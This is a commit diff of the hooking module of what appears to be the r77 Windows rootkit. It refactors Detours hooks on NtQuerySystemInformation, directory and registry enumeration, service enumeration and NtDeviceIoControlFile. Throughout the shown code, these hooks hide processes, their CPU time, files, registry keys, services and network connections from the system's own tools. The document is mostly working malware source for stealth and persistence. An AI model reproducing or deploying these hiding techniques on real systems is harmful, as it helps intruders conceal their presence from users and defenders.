1
1
#include "Hooks.h"
2
2
#include "Rootkit.h"
3
3
#include "Config.h"
4
- #include "r77mindef.h"
5
4
#include "r77def.h"
6
5
#include "r77win.h"
7
6
#include "ntdll.h"
8
- #include "r77runtime.h"
9
7
#include "detours.h"
10
8
#include <Shlwapi.h>
11
9
#include <wchar.h>
12
10
11
+ static NT_NTQUERYSYSTEMINFORMATION OriginalNtQuerySystemInformation ;
12
+ static NT_NTRESUMETHREAD OriginalNtResumeThread ;
13
+ static NT_NTQUERYDIRECTORYFILE OriginalNtQueryDirectoryFile ;
14
+ static NT_NTQUERYDIRECTORYFILEEX OriginalNtQueryDirectoryFileEx ;
15
+ static NT_NTENUMERATEKEY OriginalNtEnumerateKey ;
16
+ static NT_NTENUMERATEVALUEKEY OriginalNtEnumerateValueKey ;
17
+ static NT_ENUMSERVICEGROUPW OriginalEnumServiceGroupW ;
18
+ static NT_ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW ;
19
+ static NT_ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW2 ;
20
+ static NT_NTDEVICEIOCONTROLFILE OriginalNtDeviceIoControlFile ;
21
+
13
22
VOID InitializeHooks ()
14
23
{
15
24
DetourTransactionBegin ();
@@ -129,14 +138,15 @@ static NTSTATUS NTAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS sy
129
138
LARGE_INTEGER hiddenUserTime = { 0 };
130
139
if (GetProcessHiddenTimes (& hiddenKernelTime , & hiddenUserTime , NULL ))
131
140
{
141
+ PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION performanceInformation = (PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION )systemInformation ;
132
142
ULONG numberOfProcessors = newReturnLength / sizeof (NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION );
143
+
133
144
for (ULONG i = 0 ; i < numberOfProcessors ; i ++ )
134
145
{
135
146
//TODO: This works, but it needs to be on a per-cpu basis instead of x / numberOfProcessors
136
- PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION performanceInformation = & ((PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION )systemInformation )[i ];
137
- performanceInformation -> KernelTime .QuadPart += hiddenUserTime .QuadPart / numberOfProcessors ;
138
- performanceInformation -> UserTime .QuadPart -= hiddenUserTime .QuadPart / numberOfProcessors ;
139
- performanceInformation -> IdleTime .QuadPart += (hiddenKernelTime .QuadPart + hiddenUserTime .QuadPart ) / numberOfProcessors ;
147
+ performanceInformation [i ].KernelTime .QuadPart += hiddenUserTime .QuadPart / numberOfProcessors ;
148
+ performanceInformation [i ].UserTime .QuadPart -= hiddenUserTime .QuadPart / numberOfProcessors ;
149
+ performanceInformation [i ].IdleTime .QuadPart += (hiddenKernelTime .QuadPart + hiddenUserTime .QuadPart ) / numberOfProcessors ;
140
150
}
141
151
}
142
152
}
@@ -147,10 +157,12 @@ static NTSTATUS NTAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS sy
147
157
LONGLONG hiddenCycleTime = 0 ;
148
158
if (GetProcessHiddenTimes (NULL , NULL , & hiddenCycleTime ))
149
159
{
150
- ULONG numberOfProcessors = newReturnLength / sizeof (LARGE_INTEGER );
160
+ PNT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION idleCycleTimeInformation = (PNT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION )systemInformation ;
161
+ ULONG numberOfProcessors = newReturnLength / sizeof (NT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION );
162
+
151
163
for (ULONG i = 0 ; i < numberOfProcessors ; i ++ )
152
164
{
153
- (( PLARGE_INTEGER ) systemInformation ) [i ].QuadPart += hiddenCycleTime / numberOfProcessors ;
165
+ idleCycleTimeInformation [i ].CycleTime += hiddenCycleTime / numberOfProcessors ;
154
166
}
155
167
}
156
168
}
@@ -219,7 +231,7 @@ static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event
219
231
{
220
232
if (nextEntryOffset )
221
233
{
222
- RtlCopyMemory
234
+ i_memcpy
223
235
(
224
236
current ,
225
237
(LPBYTE )current + nextEntryOffset ,
@@ -281,7 +293,7 @@ static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE eve
281
293
{
282
294
if (nextEntryOffset )
283
295
{
284
- RtlCopyMemory
296
+ i_memcpy
285
297
(
286
298
current ,
287
299
(LPBYTE )current + nextEntryOffset ,
@@ -393,7 +405,7 @@ static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE even
393
405
{
394
406
// Check, if the device is "\Device\Nsi"
395
407
BYTE deviceName [500 ];
396
- if (NT_SUCCESS (NtQueryObject2 (fileHandle , ObjectNameInformation , deviceName , 500 , NULL )) &&
408
+ if (NT_SUCCESS (R77_NtQueryObject (fileHandle , ObjectNameInformation , deviceName , 500 , NULL )) &&
397
409
!StrCmpNIW (DEVICE_NSI , ((PUNICODE_STRING )deviceName )-> Buffer , sizeof (DEVICE_NSI ) / sizeof (WCHAR )))
398
410
{
399
411
PNT_NSI_PARAM nsiParam = (PNT_NSI_PARAM )outputBuffer ;
@@ -442,20 +454,20 @@ static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE even
442
454
{
443
455
if (nsiParam -> Type == NsiTcp )
444
456
{
445
- RtlMoveMemory (tcpEntry , (LPBYTE )tcpEntry + nsiParam -> EntrySize , (nsiParam -> Count - i - 1 ) * nsiParam -> EntrySize );
457
+ memmove (tcpEntry , (LPBYTE )tcpEntry + nsiParam -> EntrySize , (nsiParam -> Count - i - 1 ) * nsiParam -> EntrySize );
446
458
}
447
459
else if (nsiParam -> Type == NsiUdp )
448
460
{
449
- RtlMoveMemory (udpEntry , (LPBYTE )udpEntry + nsiParam -> EntrySize , (nsiParam -> Count - i - 1 ) * nsiParam -> EntrySize );
461
+ memmove (udpEntry , (LPBYTE )udpEntry + nsiParam -> EntrySize , (nsiParam -> Count - i - 1 ) * nsiParam -> EntrySize );
450
462
}
451
463
452
464
if (statusEntry )
453
465
{
454
- RtlMoveMemory (statusEntry , (LPBYTE )statusEntry + nsiParam -> StatusEntrySize , (nsiParam -> Count - i - 1 ) * nsiParam -> StatusEntrySize );
466
+ memmove (statusEntry , (LPBYTE )statusEntry + nsiParam -> StatusEntrySize , (nsiParam -> Count - i - 1 ) * nsiParam -> StatusEntrySize );
455
467
}
456
468
if (processEntry )
457
469
{
458
- RtlMoveMemory (processEntry , (LPBYTE )processEntry + nsiParam -> ProcessEntrySize , (nsiParam -> Count - i - 1 ) * nsiParam -> ProcessEntrySize );
470
+ memmove (processEntry , (LPBYTE )processEntry + nsiParam -> ProcessEntrySize , (nsiParam -> Count - i - 1 ) * nsiParam -> ProcessEntrySize );
459
471
}
460
472
}
461
473
@@ -556,7 +568,7 @@ static LPWSTR FileInformationGetName(LPVOID fileInformation, FILE_INFORMATION_CL
556
568
557
569
if (fileName && fileNameLength > 0 )
558
570
{
559
- wmemcpy (name , fileName , fileNameLength / sizeof (WCHAR ));
571
+ i_wmemcpy (name , fileName , fileNameLength / sizeof (WCHAR ));
560
572
name [fileNameLength / sizeof (WCHAR )] = L'\0' ;
561
573
return name ;
562
574
}
@@ -643,7 +655,7 @@ static VOID FilterEnumServiceStatus(LPENUM_SERVICE_STATUSW services, LPDWORD ser
643
655
IsServiceNameHidden (services [i ].lpServiceName ) ||
644
656
IsServiceNameHidden (services [i ].lpDisplayName ))
645
657
{
646
- RtlMoveMemory (& services [i ], & services [i + 1 ], (* servicesReturned - i - 1 ) * sizeof (ENUM_SERVICE_STATUSW ));
658
+ memmove (& services [i ], & services [i + 1 ], (* servicesReturned - i - 1 ) * sizeof (ENUM_SERVICE_STATUSW ));
647
659
(* servicesReturned )-- ;
648
660
i -- ;
649
661
}
@@ -659,7 +671,7 @@ static VOID FilterEnumServiceStatusProcess(LPENUM_SERVICE_STATUS_PROCESSW servic
659
671
IsServiceNameHidden (services [i ].lpServiceName ) ||
660
672
IsServiceNameHidden (services [i ].lpDisplayName ))
661
673
{
662
- RtlMoveMemory (& services [i ], & services [i + 1 ], (* servicesReturned - i - 1 ) * sizeof (ENUM_SERVICE_STATUS_PROCESSW ));
674
+ memmove (& services [i ], & services [i + 1 ], (* servicesReturned - i - 1 ) * sizeof (ENUM_SERVICE_STATUS_PROCESSW ));
663
675
(* servicesReturned )-- ;
664
676
i -- ;
665
677
}
0 commit comments